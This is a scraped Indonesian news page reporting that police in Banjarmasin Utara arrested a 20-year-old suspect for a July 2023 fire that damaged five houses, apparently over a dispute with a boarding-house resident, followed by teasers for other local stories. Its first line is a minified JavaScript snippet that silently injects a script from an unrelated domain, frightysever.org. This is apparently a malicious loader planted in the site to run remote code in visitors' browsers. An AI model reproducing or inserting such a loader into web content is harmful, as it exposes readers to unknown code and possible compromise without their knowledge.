(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Terduga Penyulut Api Kebakaran di Kayu Tangi II Dibekuk, Ini Motifnya


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Banjarmasin Utara telah mengamankan seorang pemuda diduga menjadi penyulut api dari kebakaran di Jalan Kayu Tangi II, Jalur 5 dan Jalur 6 RT 20, Kelurahan Pangeran, Kecamatan Banjarmasin Utara, pada Sabtu (22/7/2023) malam.

Kapolsek Banjarmasin Utara Kompol Agus Sugianto melalui Kanit Reskrim, Ipda Sudirno menyebutkan, pelaku sudah kita amankan dan masih kita lakukan pemeriksaan.

“Pelaku kita amankan setelah kebakaran terjadi,” kata Kanit Reskrim Polsek Banjarmasin Utara, Senin (24/7/2023) siang.

Terduga pelaku adalah MA (20), warga Desa Mandingin RT 11, Kelurahan Mandingin, Kecamatan Barabai, Kabupaten Hulu Sungai Tengah.

Baca juga: Diberi Nama Banjararum, Kejogya Kalsel Terima Gamelan Yogyakarta

Sebelumnya kebakaran terjadi di Jalan Kayu Tangi II, Jalur 5 dan Jalur 6 RT 20, Kelurahan Pangeran, Banjarmasin Utara, pada Sabtu (22/7/2023) malam.

Lima rumah hangus terbakar dari data Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarmasin. Dimana lima rumah terbakar itu dihuni 13 jiwa. Dua rumah rusak berat, satu rumah rusak sedang dan dua rumah rusak ringan.

Pemilik rumah yang terbakar, Hj Norida Wati 2 kk 3 jiwa kerusakan 80%, kos 3 pintu kerusakan 20%, kos Ami kerusakan 90%, rumah Zaki Yamani 2 kk 4 jiwa di Jalur 5 kerusakan 50%, dan rumah M Alamsyah 2 kk 6 jiwa di Jalur 5 kerusakan 5%.

Setelah mengamankan pelaku pembakaran rumah, akhirnya mulai terkuak motif pelaku Ipda Sudirno menyebut, terduga pelaku MA nekat melakukan aksinya itu, lantaran berselisih paham dengan salah satu penghuni kos di kawasan itu. Hanya saja, polisi masih terus menggali motif pelaku melakukan pembakaran.

Baca juga: Delapan Pasang Naga Banjarbaru 2023 ke Babak Grand Final

“Hasil pemeriksaan pemeriksaan sementara, pelaku melakukan hal tersebut lantaran ada berselisih paham. Masih kita dalami, tapi dari pengakuan MA karena ada selisih paham dengan penghuni kos lainnya,” kata Ipda Sudirno. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.